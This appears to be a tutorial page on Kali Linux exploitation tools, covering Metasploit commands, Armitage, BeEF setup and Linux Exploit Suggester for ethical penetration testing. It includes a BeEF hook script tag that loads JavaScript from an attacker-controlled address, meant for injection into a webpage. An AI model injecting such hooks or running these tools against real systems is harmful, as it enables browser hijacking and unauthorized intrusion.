Kali Linux - Exploitation Tools

Kali Linux is a powerful platform for penetration testing and ethical hacking, offering a wide array of exploitation tools that are essential for security professionals. These tools enable the identification, exploitation, and post-exploitation of vulnerabilities in target systems. In this detailed guide, we will explore some of the key exploitation tools available in Kali Linux, including their features, usage, and examples.

Metasploit Framework

Overview

Metasploit, developed by Rapid7, is one of the most widely used tools for exploitation. It is available in two editions:

• Commercial Edition: Includes additional features for enterprise-level usage.
• Community Edition: Free and open-source, suitable for ethical hackers and penetration testers.

Kali Linux comes pre-installed with the Community Edition of Metasploit, making it convenient for users to start exploiting vulnerabilities without additional setup.

Installation

To use the embedded version in Kali Linux, follow these steps:

1. Navigate to Applications > Exploitation Tools > Metasploit.
2. Open the Metasploit Console.

Commands and Features

Help Command

Use the help or ? command to view available commands and their descriptions.

Updating Metasploit

Keep Metasploit up-to-date using the msfupdate command:

msfupdate

Search Command

Find specific exploits or modules with the search command. Example:

msf > search name:Microsoft type:exploit

Info Command

Get detailed module information with the info command:

msf > info exploit/windows/smb/ms17_010_eternalblue

Armitage

Overview

Armitage is a graphical user interface (GUI) for Metasploit that simplifies the exploitation process. It visualizes targets, suggests exploits, and provides advanced post-exploitation features.

Usage

1. Ensure the Metasploit Console is running.
2. Navigate to Applications > Exploitation Tools > Armitage.
3. Click the Connect button to establish a connection.

Features

• Target Visualization: Discovered targets are displayed in a graphical format.
• Post-Exploitation: Perform actions like browsing files and escalating privileges.

BeEF (Browser Exploitation Framework)

Overview

BeEF is a powerful penetration testing tool focusing on client-side attacks through web browsers.

Installation and Setup

apt-get update
apt-get install beef-xss
cd /usr/share/beef-xss
./beef

Open a browser and log in with the default username and password (beef).

Exploiting Browsers

Inject the BeEF hook JavaScript into a webpage:

<script src="http://192.168.1.101:3000/hook.js" type="text/javascript"></script>

Linux Exploit Suggester

Overview

This tool recommends potential exploits for a Linux system based on its kernel version.

Usage

./Linux_Exploit_Suggester.pl -k <kernel_version>

Example for kernel version 3.0.0:

./Linux_Exploit_Suggester.pl -k 3.0.0

The exploitation tools in Kali Linux, such as Metasploit, Armitage, BeEF, and Linux Exploit Suggester, are essential for ethical hackers and penetration testers. These tools streamline the process of discovering and exploiting vulnerabilities, enabling security professionals to identify weaknesses and improve the security posture of systems.